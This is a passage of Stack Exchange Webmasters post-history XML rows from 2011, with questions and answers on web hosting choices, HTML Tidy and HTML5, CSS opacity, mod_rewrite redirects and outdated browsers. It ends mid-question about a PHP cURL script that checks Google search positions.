  <row Id="45503" PostHistoryTypeId="1" PostId="18671" RevisionGUID="788ed892-f2e8-47f1-bd35-9a03c16758fc" CreationDate="2010-09-03T22:08:59.393" UserId="9872" UserDisplayName="littlejim84" Text="Has anyone used WebFaction hosting for large traffic websites?" />
  <row Id="45504" PostHistoryTypeId="3" PostId="18671" RevisionGUID="788ed892-f2e8-47f1-bd35-9a03c16758fc" CreationDate="2010-09-03T22:08:59.393" UserId="9872" UserDisplayName="littlejim84" Text="&lt;php&gt;&lt;mysql&gt;&lt;traffic&gt;" />
  <row Id="45505" PostHistoryTypeId="25" PostId="18664" RevisionGUID="18eca6f8-7cd7-4d76-a34a-39e5633ce509" CreationDate="2011-08-24T00:35:08.760" Comment="http://twitter.com/#!/StackWebmasters/status/106162591272935424" />
  <row Id="45508" PostHistoryTypeId="5" PostId="18556" RevisionGUID="bfa67d00-c074-410b-8fcd-16eb753e3b38" CreationDate="2011-08-24T01:56:48.733" UserId="8245" Comment="added 147 characters in body" Text="I finally went with Amazon Web Services. It offers everything I need &#xD;&#xA;&#xD;&#xA;&gt; - Complete access to machine.&#xD;&#xA;&gt; - Access to extra storage at Amazon Simple Storage (Amazon S3)&#xD;&#xA;&gt; - Ability to scale up as needed (Amazon EC2)&#xD;&#xA;&gt; - Ability to host a wordpress blog myself.&#xD;&#xA;&gt; - Ability to setup Apache mode_rewrite so that I can selectively serve pages from Apache or JBoss&#xD;&#xA;&#xD;&#xA;It is cheap so far (around $10 a month). I know that after my 1 year free tier membership, the rates might go up; but it still should be manageable (about $20-30 a month)&#xD;&#xA;&#xD;&#xA;  [http://www.rationalspring.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  http://www.rationalspring.com/blog[1]" />
  <row Id="45509" PostHistoryTypeId="5" PostId="18556" RevisionGUID="5237b68e-a4ab-4398-875a-3935362830d0" CreationDate="2011-08-24T02:01:53.360" UserId="8245" Comment="added 147 characters in body" Text="I finally went with Amazon Web Services. It offers everything I need &#xD;&#xA;&#xD;&#xA;&gt; - Complete access to machine.&#xD;&#xA;&gt; - Access to extra storage at Amazon Simple Storage (Amazon S3)&#xD;&#xA;&gt; - Ability to scale up as needed (Amazon EC2)&#xD;&#xA;&gt; - Ability to host a wordpress blog myself.&#xD;&#xA;&gt; - Ability to setup Apache mode_rewrite so that I can selectively serve pages from Apache or JBoss&#xD;&#xA;&#xD;&#xA;It is cheap so far (around $10 a month). I know that after my 1 year free tier membership, the rates might go up; but it still should be manageable (about $20-30 a month)&#xD;&#xA;&#xD;&#xA;&gt;  http://www.rationalspring.com  &#xD;&#xA;" />
  <row Id="45510" PostHistoryTypeId="5" PostId="18556" RevisionGUID="729be177-534b-4541-9509-d031146fdab9" CreationDate="2011-08-24T02:16:52.113" UserId="1253" Comment="Removed signature" Text="I finally went with Amazon Web Services. It offers everything I need &#xD;&#xA;&#xD;&#xA;&gt; - Complete access to machine.&#xD;&#xA;&gt; - Access to extra storage at Amazon Simple Storage (Amazon S3)&#xD;&#xA;&gt; - Ability to scale up as needed (Amazon EC2)&#xD;&#xA;&gt; - Ability to host a wordpress blog myself.&#xD;&#xA;&gt; - Ability to setup Apache mode_rewrite so that I can selectively serve pages from Apache or JBoss&#xD;&#xA;&#xD;&#xA;It is cheap so far (around $10 a month). I know that after my 1 year free tier membership, the rates might go up; but it still should be manageable (about $20-30 a month)&#xD;&#xA;" />
  <row Id="45511" PostHistoryTypeId="2" PostId="18673" RevisionGUID="86ac94c2-9265-4369-bf56-1099deed3667" CreationDate="2011-08-24T03:07:24.020" UserId="9761" Text="Would this work?&#xD;&#xA;&#xD;&#xA;    &lt;input type=&quot;text&quot; value=&quot;&lt;a href=jroq@gmail.com&gt;JROQ&lt;/a&gt;&quot;&gt;&lt;/input&gt;&#xD;&#xA;How could I make it happen?" />
  <row Id="45512" PostHistoryTypeId="1" PostId="18673" RevisionGUID="86ac94c2-9265-4369-bf56-1099deed3667" CreationDate="2011-08-24T03:07:24.020" UserId="9761" Text="Is it possible to have a link inside a textbox like Outlook(names of the recipients)" />
  <row Id="45513" PostHistoryTypeId="3" PostId="18673" RevisionGUID="86ac94c2-9265-4369-bf56-1099deed3667" CreationDate="2011-08-24T03:07:24.020" UserId="9761" Text="&lt;html&gt;&lt;javascript&gt;" />
  <row Id="45514" PostHistoryTypeId="2" PostId="18674" RevisionGUID="6da3fa70-cd8d-43ab-ab8f-82ab485498a5" CreationDate="2011-08-24T03:13:56.340" UserId="1253" Text="Yes and no. **Yes**, because the value attribute can accept any string (although you really should use HTML entities for the `&lt;` and `&gt;` characters) so you could pass that string to the recipient of the form submission. **No**, because if you are trying to make an actual hyperlink that is not valid HTML. &#xD;&#xA;&#xD;&#xA;It also begs the question: *why would you put a hyperlink in an input field?* If you're trying to send an email from your webpage there are plenty of ways to do it. You can:&#xD;&#xA;&#xD;&#xA;1. Use `mailto:` in the hyperlink to call the default email program on the user's computer to sent the email: `&lt;a href=&quot;mailto:jroq@gmail.com&quot;&gt;JROQ&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;2. Use a `&lt;form&gt;` to capture the form information and then send it to a server side script written in the language of your choice so it can send the email for you.&#xD;&#xA;&#xD;&#xA;3. Set the `action` attribute of the `&lt;form&gt;` element to be the email address you wish to send the email to:  `&lt;form action=&quot;mailto:jroq@gmail.com&quot;&gt;` (be prepared for ugly emails, though)" />
  <row Id="45515" PostHistoryTypeId="4" PostId="18673" RevisionGUID="3b3164ab-8f60-4cb6-aea9-7eb2d7c8d30a" CreationDate="2011-08-24T03:15:59.427" UserId="1253" Comment="modified tags" Text="Is it possible to have a link inside a textbox like Outlook (names of the recipients)" />
  <row Id="45516" PostHistoryTypeId="6" PostId="18673" RevisionGUID="3b3164ab-8f60-4cb6-aea9-7eb2d7c8d30a" CreationDate="2011-08-24T03:15:59.427" UserId="1253" Comment="modified tags" Text="&lt;html&gt;" />
  <row Id="45517" PostHistoryTypeId="25" PostId="18655" RevisionGUID="27cc0fb2-e7df-4a9d-a2ef-7c6bc60ee2f5" CreationDate="2011-08-24T03:35:08.530" Comment="http://twitter.com/#!/StackWebmasters/status/106207888674009088" />
  <row Id="45518" PostHistoryTypeId="2" PostId="18675" RevisionGUID="44a93f80-3775-4916-8438-52f6097ee968" CreationDate="2011-08-24T03:35:48.973" UserId="269" Text="The answer is that it depends. I run RubyRow a network on a much smaller scale then all of the ones you listed here. We do our payouts based on a revenue share - so the publishers see the ups and downs of our sales cycle. We do have a couple of publishers that are paid a fixed amount per month regardless and those are higher risk but worth it to keep those publishers as part of the network.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45519" PostHistoryTypeId="5" PostId="18596" RevisionGUID="252d6457-3522-4361-9941-e7477a0c1b3d" CreationDate="2011-08-24T06:32:34.860" UserId="9732" Comment="added 665 characters in body" Text="Many CMS systems (e.g. Joomla) offer the user an option to download the post content in PDF format. &#xD;&#xA;&#xD;&#xA;Is this really worth implementing?&#xD;&#xA;&#xD;&#xA;Are there any reliable stats showing how many users do use this functionality?&#xD;&#xA;&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;Some additional notes about the content:&#xD;&#xA;&#xD;&#xA;- let's say the site is a regular blog site&#xD;&#xA;- I do have a print version with stripped graphics already (print stylesheets)&#xD;&#xA;&#xD;&#xA;I understand that having additional features like this (used or not) may be a benefit. But thinking this way we would have any fancy feature easy to implement on each site.&#xD;&#xA;&#xD;&#xA;I just want to provide really useful stuff, and seeing as every joomla site has a download as pdf opiton, I wonder how many users did ever used this option. My bet those links are clicked hardly ever, or just never. &#xD;&#xA;&#xD;&#xA;This is really easy to measure for everyone who owns site with those links." />
  <row Id="45520" PostHistoryTypeId="25" PostId="18671" RevisionGUID="38d1d715-7eeb-4ab1-bfc8-c2a79ed50b7e" CreationDate="2011-08-24T06:35:08.627" Comment="http://twitter.com/#!/StackWebmasters/status/106253187094282240" />
  <row Id="45521" PostHistoryTypeId="25" PostId="18654" RevisionGUID="82b2e70d-bda2-4b77-8ca9-55f64072e9e0" CreationDate="2011-08-24T06:35:13.337" Comment="http://twitter.com/#!/StackWebmasters/status/106253206786551808" />
  <row Id="45522" PostHistoryTypeId="2" PostId="18676" RevisionGUID="83532661-1313-4e07-8c30-5675a289e8c0" CreationDate="2011-08-24T07:04:51.493" UserId="6155" Text="Currently i'm using latest stable version of PHP, webmastering a online shop with Doctype XHTML. &#xD;&#xA;&#xD;&#xA;Most of our customers use &quot;old&quot; browsers, 25% use IE8, 10% use IE7, 3% IE6 (however, IE6 never purchase, the shop looks weird in IE6 because of PNG usage - we are not willing to strongly support IE6 anymore). Rest: FF, Chrome, div.&#xD;&#xA;&#xD;&#xA;Currently, I pretty much like the way, tidy cleans up the page. It provides better UTF8-Support, adds ommitted tags and - most important to me - always provides a w3-valid website (so I can put the badge on it).&#xD;&#xA;&#xD;&#xA;What I don't like is the missing development of the extension. I feel, it is quite impossible to make the page **HTML5-ready**. Why would I want to use HTML5? Mainly because auf schema.org. Our page added some product Info in microformats, however they are not supported very well. Microdata would be better.&#xD;&#xA;&#xD;&#xA; - So, is it still adviseable to use html tidy just to get a &quot;cleaner&quot;&#xD;&#xA;   source code, or should I provide HTML5-Support. (I would still have&#xD;&#xA;   to use tidy for user-input like the description of our products).&#xD;&#xA;&#xD;&#xA; - Moreover, will &quot;older&quot; browsers have problems with HTML5 or will they&#xD;&#xA;   just ignore it?&#xD;&#xA;&#xD;&#xA; - And last but not least: Will avoiding tidy speed up my page?&#xD;&#xA;&#xD;&#xA;Thank you. " />
  <row Id="45523" PostHistoryTypeId="1" PostId="18676" RevisionGUID="83532661-1313-4e07-8c30-5675a289e8c0" CreationDate="2011-08-24T07:04:51.493" UserId="6155" Text="Is it (still) advisable to use the PHP extension html tidy?" />
  <row Id="45524" PostHistoryTypeId="3" PostId="18676" RevisionGUID="83532661-1313-4e07-8c30-5675a289e8c0" CreationDate="2011-08-24T07:04:51.493" UserId="6155" Text="&lt;php&gt;&lt;html5&gt;&lt;browsers&gt;" />
  <row Id="45525" PostHistoryTypeId="2" PostId="18677" RevisionGUID="e62d7a2d-fa29-43d9-a222-9ecf2397d3b9" CreationDate="2011-08-24T07:52:53.977" UserId="9766" Text="I'm looking for free hosting with HTTPS and PHP support. Of course a subdomain is enough. Something like Google's appspot.com, but with PHP support." />
  <row Id="45526" PostHistoryTypeId="1" PostId="18677" RevisionGUID="e62d7a2d-fa29-43d9-a222-9ecf2397d3b9" CreationDate="2011-08-24T07:52:53.977" UserId="9766" Text="Free HTTPS hosting with PHP support" />
  <row Id="45527" PostHistoryTypeId="3" PostId="18677" RevisionGUID="e62d7a2d-fa29-43d9-a222-9ecf2397d3b9" CreationDate="2011-08-24T07:52:53.977" UserId="9766" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;ssl&gt;&lt;free&gt;" />
  <row Id="45528" PostHistoryTypeId="17" PostId="18678" RevisionGUID="cdde734d-6463-4e9d-b1fe-79b7d052b314" CreationDate="2011-08-24T07:53:45.503" UserId="-1" Comment="from http://stackoverflow.com/questions/7170281/please-recommend-some-good-hosting-for-facebook-app-free-paid" Text="" />
  <row Id="45529" PostHistoryTypeId="17" PostId="18679" RevisionGUID="3358cadb-025e-4dfb-b3c5-19c8723e1e8e" CreationDate="2011-08-24T07:53:45.503" UserId="-1" Comment="from http://stackoverflow.com/questions/7170281/please-recommend-some-good-hosting-for-facebook-app-free-paid" Text="" />
  <row Id="45530" PostHistoryTypeId="2" PostId="18679" RevisionGUID="1c2b9735-62ed-4f4f-b8f0-d4e2ce6281cd" CreationDate="2011-08-24T05:18:06.683" UserId="9776" UserDisplayName="Eddy Chan" Text="i am using hostgator and it is running perfectlu so far.&#xD;&#xA;&#xD;&#xA;just in case of need, you can use the coupon code &quot;hostgatorBestOffer&quot; which will save u save money." />
  <row Id="45531" PostHistoryTypeId="2" PostId="18678" RevisionGUID="daf9a591-3e6e-4b50-9280-9566a1d3da9f" CreationDate="2011-08-24T04:00:26.757" UserDisplayName="Unikorn" Text="I am learning to program facebook app and so I am looking for some free/trial/paid hosting&#xD;&#xA;to host my php and db.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="45532" PostHistoryTypeId="1" PostId="18678" RevisionGUID="daf9a591-3e6e-4b50-9280-9566a1d3da9f" CreationDate="2011-08-24T04:00:26.757" UserDisplayName="Unikorn" Text="Please recommend some good hosting for Facebook App (free/paid)" />
  <row Id="45533" PostHistoryTypeId="3" PostId="18678" RevisionGUID="daf9a591-3e6e-4b50-9280-9566a1d3da9f" CreationDate="2011-08-24T04:00:26.757" UserDisplayName="Unikorn" Text="&lt;facebook&gt;&lt;web-hosting&gt;" />
  <row Id="45534" PostHistoryTypeId="2" PostId="18680" RevisionGUID="eeceb9bb-2fdf-466f-b2df-21df0e6d3ea1" CreationDate="2011-08-24T08:10:43.260" UserId="7198" Text="[PHPFog](https://phpfog.com/) is a 'cloud platform for PHP' with a free plan called [&quot;Shared Cloud&quot;](https://phpfog.com/pricing) that comes with shared SSL for HTTPS support. It's limited to 100MB of storage and 15GB of monthly bandwidth, but offers upgrade paths to their paid services if you outgrow that.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45535" PostHistoryTypeId="2" PostId="18681" RevisionGUID="edf09ce7-350f-44a7-9b2e-43200274cd5d" CreationDate="2011-08-24T08:20:29.190" UserId="3019" Text="I have several old, broken urls that looked like this:&#xD;&#xA;http://www.easyjob.net/partners/whatever.html&#xD;&#xA;&#xD;&#xA;I would like to redirect them all to http://www.easyjob.net/partners/general/&#xD;&#xA;&#xD;&#xA;The following rule won't work, as the &quot;destination&quot; url will trigger the same rule again, and I'll get a &quot;too many redirects&quot; error. &#xD;&#xA;&#xD;&#xA;How can I match any html file inside the /partners/ folder but without matching anything in the /partners/general/ subfolder?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="45536" PostHistoryTypeId="1" PostId="18681" RevisionGUID="edf09ce7-350f-44a7-9b2e-43200274cd5d" CreationDate="2011-08-24T08:20:29.190" UserId="3019" Text="Redirect all urls to a subfolder" />
  <row Id="45537" PostHistoryTypeId="3" PostId="18681" RevisionGUID="edf09ce7-350f-44a7-9b2e-43200274cd5d" CreationDate="2011-08-24T08:20:29.190" UserId="3019" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="45538" PostHistoryTypeId="2" PostId="18682" RevisionGUID="3dfd62cc-d4bc-48f2-9fb2-311ec53c735c" CreationDate="2011-08-24T08:29:33.090" UserId="7198" Text="&gt; So, is it still advisable to use html tidy just to get a &quot;cleaner&quot;&#xD;&#xA;&gt; source code, or should I provide HTML5-Support. (I would still have to&#xD;&#xA;&gt; use tidy for user-input like the description of our products).&#xD;&#xA;&#xD;&#xA;It's possible to do both, either by configuring HTML Tidy to process HTML5 (see [this question](http://stackoverflow.com/questions/2657658/wanted-command-line-html5-beautifier) and specifically [this answer](http://stackoverflow.com/questions/2657658/wanted-command-line-html5-beautifier/6484549#6484549)) or by using another library that supports HTML5 such as [HTMLawed](http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/more.htm).&#xD;&#xA;&#xD;&#xA;&gt; Moreover, will &quot;older&quot; browsers have problems with HTML5 or will they just ignore it?&#xD;&#xA;&#xD;&#xA;Older browsers, notably Firefox 2 and IE6, do have problems with the new HTML5 tags. There are several workarounds, though, the most popular of which is the [html5.js script from the HTML5 doctor site.](http://html5doctor.com/how-to-get-html5-working-in-ie-and-firefox-2/) That means there's no good excuse not to use HTML5 today.&#xD;&#xA;&#xD;&#xA;&gt; And last but not least: will avoiding tidy speed up my page?&#xD;&#xA;&#xD;&#xA;Avoiding any kind of additional processing will usually speed up your page. You should cache the static HTML that your tidy script generates so that it's not running on every page load. At it's simplest, this means writing the generated file to disk as an HTML file and serving that instead of the PHP script unless the content has changed. That's beyond the scope of your original question, but [this question](http://stackoverflow.com/questions/2361377/page-caching-using-php) may prove useful.&#xD;&#xA;" />
  <row Id="45539" PostHistoryTypeId="25" PostId="18596" RevisionGUID="01ff5e69-5315-4744-aea0-0a10ac92ca12" CreationDate="2011-08-24T09:35:13.667" Comment="http://twitter.com/#!/StackWebmasters/status/106298507580801024" />
  <row Id="45540" PostHistoryTypeId="2" PostId="18683" RevisionGUID="8a4020b1-3c1d-474c-b00b-098e56d9df88" CreationDate="2011-08-24T09:35:52.667" UserId="4502" Text="I have a WordPress-based client I moved to WebFaction from the MediaTemple grid, for basically the same reasons. The site was hitting limits constantly, with overages incurred and no real upgrade path other than switching to their VPS plans.&#xD;&#xA;&#xD;&#xA;The site was transferred September 2010. Since then, normal traffic tends to range around 600-700thousand pageviews per month, with a couple months having gone as high as 1.2million. They're on a plan offering 160MB of application memory, and WebFaction has never had anything to say to us about resources to date. " />
  <row Id="45541" PostHistoryTypeId="6" PostId="18671" RevisionGUID="a401673c-9099-4516-8d13-179c3e77470e" CreationDate="2011-08-24T09:39:19.027" UserId="4502" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;mysql&gt;&lt;traffic&gt;&lt;looking-for-hosting&gt;" />
  <row Id="45545" PostHistoryTypeId="2" PostId="18685" RevisionGUID="0803bc80-7335-4527-bf94-c8fdfa0b77d8" CreationDate="2011-08-24T11:52:38.080" UserId="9771" Text="I have created a menu block element which I have applied an opacity of 0.4/40 to.&#xD;&#xA;&#xD;&#xA;The problem I have is that the opacity affects the text within the menu block and I am looking to have the opacity ONLY applied to the menu block, but not the text.&#xD;&#xA;&#xD;&#xA;Hopefully I have just missed something silly.  Here is my code:&#xD;&#xA;&#xD;&#xA;    #menuLeft{&#xD;&#xA;        background-color: #33AAEE;&#xD;&#xA;        float: left;&#xD;&#xA;        width: 20%;&#xD;&#xA;        clear: both;&#xD;&#xA;       	opacity:0.4;&#xD;&#xA;       	filter: alpha(opacity = 40);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am looking for a way to keep the text colour the same/set the opacity to exclude the text.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;Mick." />
  <row Id="45546" PostHistoryTypeId="1" PostId="18685" RevisionGUID="0803bc80-7335-4527-bf94-c8fdfa0b77d8" CreationDate="2011-08-24T11:52:38.080" UserId="9771" Text="CSS - Apply Opacity to Element but NOT To Text Within The Element" />
  <row Id="45547" PostHistoryTypeId="3" PostId="18685" RevisionGUID="0803bc80-7335-4527-bf94-c8fdfa0b77d8" CreationDate="2011-08-24T11:52:38.080" UserId="9771" Text="&lt;css&gt;" />
  <row Id="45548" PostHistoryTypeId="14" PostId="18685" RevisionGUID="184fd5cd-5d66-403d-aa74-43aebcfe2d6d" CreationDate="2011-08-24T11:55:54.333" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45549" PostHistoryTypeId="17" PostId="18685" RevisionGUID="e45c44f3-dd4a-4feb-a9e7-6041510c3573" CreationDate="2011-08-24T11:55:54.347" UserId="1253" Comment="to http://stackoverflow.com/questions/7175009/css-apply-opacity-to-element-but-not-to-text-within-the-element" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45550" PostHistoryTypeId="10" PostId="18685" RevisionGUID="84d45023-828a-49a3-94f5-2e39ea730e96" CreationDate="2011-08-24T11:55:52.490" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45551" PostHistoryTypeId="17" PostId="18686" RevisionGUID="db3fee13-b0db-471c-bfad-9a5aec5c4620" CreationDate="2011-08-24T12:11:16.800" UserId="-1" Comment="from http://serverfault.com/questions/304463/unable-to-post-on-updated-wordpress" Text="" />
  <row Id="45552" PostHistoryTypeId="2" PostId="18686" RevisionGUID="51ad234d-385e-4e85-aaa2-bf57352551b1" CreationDate="2011-08-24T11:26:27.853" UserDisplayName="dipti" Text="I am using wordpress 3.2.1 which is updated at starting of this month.. I am working in wordpress blog from last 3 months... after updation i am unable to post on my wordpress blog.i mean, getting error message like :&#xD;&#xA;&#xD;&#xA;redstone.xmlrpc.XmlRpcException: The response could not be parsed. &#xD;&#xA;&#xD;&#xA;but from same code i am able to post on my test blog.. &#xD;&#xA;i am not getting whether it is problem of wordpress or Api i am using or anythings else..&#xD;&#xA;" />
  <row Id="45553" PostHistoryTypeId="1" PostId="18686" RevisionGUID="51ad234d-385e-4e85-aaa2-bf57352551b1" CreationDate="2011-08-24T11:26:27.853" UserDisplayName="dipti" Text="unable to post on updated wordpress" />
  <row Id="45554" PostHistoryTypeId="3" PostId="18686" RevisionGUID="51ad234d-385e-4e85-aaa2-bf57352551b1" CreationDate="2011-08-24T11:26:27.853" UserDisplayName="dipti" Text="&lt;java&gt;&lt;wordpress&gt;" />
  <row Id="45555" PostHistoryTypeId="14" PostId="18686" RevisionGUID="2fab891f-7a62-44c7-b0c1-67c0dba9fff5" CreationDate="2011-08-24T12:13:45.970" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45556" PostHistoryTypeId="17" PostId="18686" RevisionGUID="62a92adc-a930-482b-af56-8f1e9347f9ae" CreationDate="2011-08-24T12:13:45.970" UserId="1253" Comment="to http://wordpress.stackexchange.com/questions/26751/unable-to-post-on-updated-wordpress" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45557" PostHistoryTypeId="10" PostId="18686" RevisionGUID="e2308392-cef3-4472-9750-cd046599e45c" CreationDate="2011-08-24T12:13:44.270" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45558" PostHistoryTypeId="2" PostId="18687" RevisionGUID="dc30f95b-3b61-4aae-8b2c-3c68ad910d07" CreationDate="2011-08-24T12:20:11.427" UserId="8009" Text="Any web designer/developer will know that we have to make our code backwards-compatible with a number of (much) older browsers, just to cater for those that haven't updated. My question is.. why don't people update? Most new browsers will run on a wide variety of systems and it's not like they aren't advertised - I seem numerous prompts on my travels around the web to install chrome or the latest firefox and what not. &#xD;&#xA;&#xD;&#xA;So what excuses do people have for sticking with IE6 or older equivilents?&#xD;&#xA;&#xD;&#xA;Personally, I'm phasing out support for older browsers on a number of my sites - 'old-browser' visitors are sparse and I see it as a 'nudge' to join 2011..." />
  <row Id="45559" PostHistoryTypeId="1" PostId="18687" RevisionGUID="dc30f95b-3b61-4aae-8b2c-3c68ad910d07" CreationDate="2011-08-24T12:20:11.427" UserId="8009" Text="Why DONT people upgrade their browsers?" />
  <row Id="45560" PostHistoryTypeId="3" PostId="18687" RevisionGUID="dc30f95b-3b61-4aae-8b2c-3c68ad910d07" CreationDate="2011-08-24T12:20:11.427" UserId="8009" Text="&lt;browsers&gt;&lt;browser-support&gt;" />
  <row Id="45561" PostHistoryTypeId="5" PostId="18680" RevisionGUID="ecf0614b-6d11-45c2-8f8a-9d188d591bb5" CreationDate="2011-08-24T12:24:41.750" UserId="7198" Comment="added 368 characters in body" Text="[PHPFog](https://phpfog.com/) is a 'cloud platform for PHP' with a free (for six months) plan called [&quot;Shared Cloud&quot;](https://phpfog.com/pricing) that comes with shared SSL for HTTPS support. It's limited to 100MB of storage and 15GB of monthly bandwidth, but offers upgrade paths to their paid services if you outgrow that.&#xD;&#xA;&#xD;&#xA;Finding free reliable web hosts in general is tricky. If you care about your Facebook application, you may also wish to look at paid (but cheap) alternatives. Many of the large shared web hosting companies offer PHP with shared SSL certificates. (e.g. Hostgator's [hatchling plan](http://www.hostgator.com/shared.shtml) from around $4/month).&#xD;&#xA;" />
  <row Id="45562" PostHistoryTypeId="25" PostId="18676" RevisionGUID="087aa0d5-84c6-403a-b51b-7bff13dd4b0e" CreationDate="2011-08-24T12:35:13.670" Comment="http://twitter.com/#!/StackWebmasters/status/106343805699100672" />
  <row Id="45563" PostHistoryTypeId="2" PostId="18688" RevisionGUID="bb9b175b-981a-498e-a391-a48199e9c93b" CreationDate="2011-08-24T12:40:03.993" UserId="108" Text="There are actually a number of reasons.  Most of them are related to corporations and I think looking at the difference in visitor browsers for corp websites vs personal sites (e.g. amazon.com, zappos.com, etc)&#xD;&#xA;&#xD;&#xA; 1. Large and Medium size Corporations use software that requires a specific browser, usually IE6.  Because of this, they create a software constraint on all of their systems and do not allow others to upgrade.&#xD;&#xA; 2. Large and Medium size Corps refuse to upgrade a browser until they have fully tested the browser with all software that is required in their company.  For huge companies it can takes years to get approval for a new browser.  This also has a side effect in that browsers than constantly update, like Chrome will never be chosen as the defacto browser for these companies.  Firefox is also now choosing to go down this path which means they will most likely be shunned by many large companies&#xD;&#xA; 3. Some people and corps use horribly old computers.  For instance, what is the newest browser that runs on Windows NT and Windows 2000?  Not many people continue to use those OS's but they are still out there in the wild.  For instance, the company I work for has over 25 PCs still running Windows 2000.  &#xD;&#xA;" />
  <row Id="45564" PostHistoryTypeId="2" PostId="18689" RevisionGUID="cda9d4c1-8be6-47b1-8ae7-a59b17dc3192" CreationDate="2011-08-24T12:40:32.313" UserId="7198" Text="Common reasons people avoid browser upgrades:&#xD;&#xA;&#xD;&#xA; 1. **They can't,** either because doing so requires admin access (e.g. university networks), or because their hardware and operating system prevents it (or both).&#xD;&#xA;&#xD;&#xA; 2. **They don't know how.** Firefox is famous for prompting people to upgrade. Chrome does it in the background. Safari does it through system updates. But earlier versions of IE don't educate users how to upgrade like modern browsers do.&#xD;&#xA;&#xD;&#xA; 3. **They've no reason to.** I know a head of marketing who uses IE6 because he feels no compulsion to upgrade to a modern browser.&#xD;&#xA;&#xD;&#xA; 4. **They don't know what a browser is.** [As Google has shown](http://www.youtube.com/watch?v=o4MwTvtyrUQ) [YouTube], a great deal of people don't know what a browser is.&#xD;&#xA;&#xD;&#xA;As web developers, the best thing we can do is to accept that people have a wide range of reasons for avoiding browser upgrades, and that these reasons are often perfectly valid ones, even when it's frustrating to us as Web professionals.&#xD;&#xA;&#xD;&#xA;It's our job to make content accessible to all by building sites that use concepts such as [progressive enhancement](http://en.wikipedia.org/wiki/Progressive_enhancement). It's worth supporting older browsers for as long as it makes financial sense to, even if it makes our jobs a little harder. " />
  <row Id="45565" PostHistoryTypeId="5" PostId="18688" RevisionGUID="a1807952-ee5b-4fb1-9dca-54493dbfea10" CreationDate="2011-08-24T12:49:13.730" UserId="108" Comment="added 1325 characters in body" Text="There are actually a number of reasons.  Most of them are related to corporations and I think looking at the difference in visitor browsers for corp websites vs personal sites (e.g. amazon.com, zappos.com, etc)&#xD;&#xA;&#xD;&#xA; 1. Large and Medium size Corporations use software that requires a specific browser, usually IE6.  Because of this, they create a software constraint on all of their systems and do not allow others to upgrade.&#xD;&#xA; 2. Large and Medium size Corps refuse to upgrade a browser until they have fully tested the browser with all software that is required in their company.  For huge companies it can takes years to get approval for a new browser.  This also has a side effect in that browsers than constantly update, like Chrome will never be chosen as the defacto browser for these companies.  Firefox is also now choosing to go down this path which means they will most likely be shunned by many large companies&#xD;&#xA; 3. Some people and corps use horribly old computers.  For instance, what is the newest browser that runs on Windows NT and Windows 2000?  Not many people continue to use those OS's but they are still out there in the wild.  For instance, the company I work for has over 25 PCs still running Windows 2000.&#xD;&#xA; 4. Some poorer regions and countries are behind the technology curve and their citizens still get online.  For instance, according to http://gs.statcounter.com Asia has an IE6 usage rate of almost 8% which is double the global average.  Africa's is around 6%.&#xD;&#xA;&#xD;&#xA;With all of this in mind I think it is changing.  IE6 is almost dead at under 4% usage globally ([gs.statcounter][1]) and a much lower usage rate in English speaking countries (I bring that up only because many of us build websites only in English).  Of note is that with the introduction of HTML5, all browser developers are pushing out a number of new versions to push people into using HTML5 capable browser or not be supported.&#xD;&#xA;&#xD;&#xA;Also, one interesting side note is that with the focus of Google and Mozilla on quickly and continuously upgrading browser versions, Microsoft has been given a marketing segment they are already taking advantage of, selling to people and corps who don't want to or can't change quickly.  The GE's of the world don't want to test a new browser every 3 months so they will most likely drop Firefox support and move back to IE where they know a new version will only come out every 2-3 years and they will only be forced to upgrade every 2-3 versions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/#browser_version-ww-monthly-201007-201107" />
  <row Id="45566" PostHistoryTypeId="6" PostId="18677" RevisionGUID="b1ae8024-e89b-4c28-b0d9-fbbd5ffa7eba" CreationDate="2011-08-24T13:01:39.127" UserId="1253" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;ssl&gt;&lt;looking-for-hosting&gt;&lt;free&gt;" />
  <row Id="45567" PostHistoryTypeId="4" PostId="18687" RevisionGUID="ac571a99-4475-49c7-a775-9bf1c77608f4" CreationDate="2011-08-24T13:02:04.447" UserId="1253" Comment="minor text edits" Text="Why don't people upgrade their browsers?" />
  <row Id="45568" PostHistoryTypeId="2" PostId="18690" RevisionGUID="e88a4966-8b38-4d28-b978-33fbf4cbbc56" CreationDate="2011-08-24T13:29:23.210" UserId="9772" Text="I have written a PHP script based on a piece of code I've found using Google. It's purpose is to check particular site's position in Google, given a particular keyword. Firstly, it prepares an appropriate URL to query Google (something like: &quot;*http://www.google.com/search?q=**the+keyword**&amp;ie=utf-8&amp;oe=utf-8&amp;num=50*&quot;), then it downloads the source of a site located at the URL prepared before. After that, it counts the position using regular expressions and the knowledge about what div's classes does Google use for results.&#xD;&#xA;&#xD;&#xA;The script works fine when the URL I want to download from is in the domain &quot;google.com&quot;. But since I it's intended to check position for polish people, I would like it to use &quot;google.pl&quot;. I wouldn't care, but the search results can really vary between the two (even more than 100 positions of difference). Unfortunately, when I try to use the &quot;pl&quot; domain, the cURL just 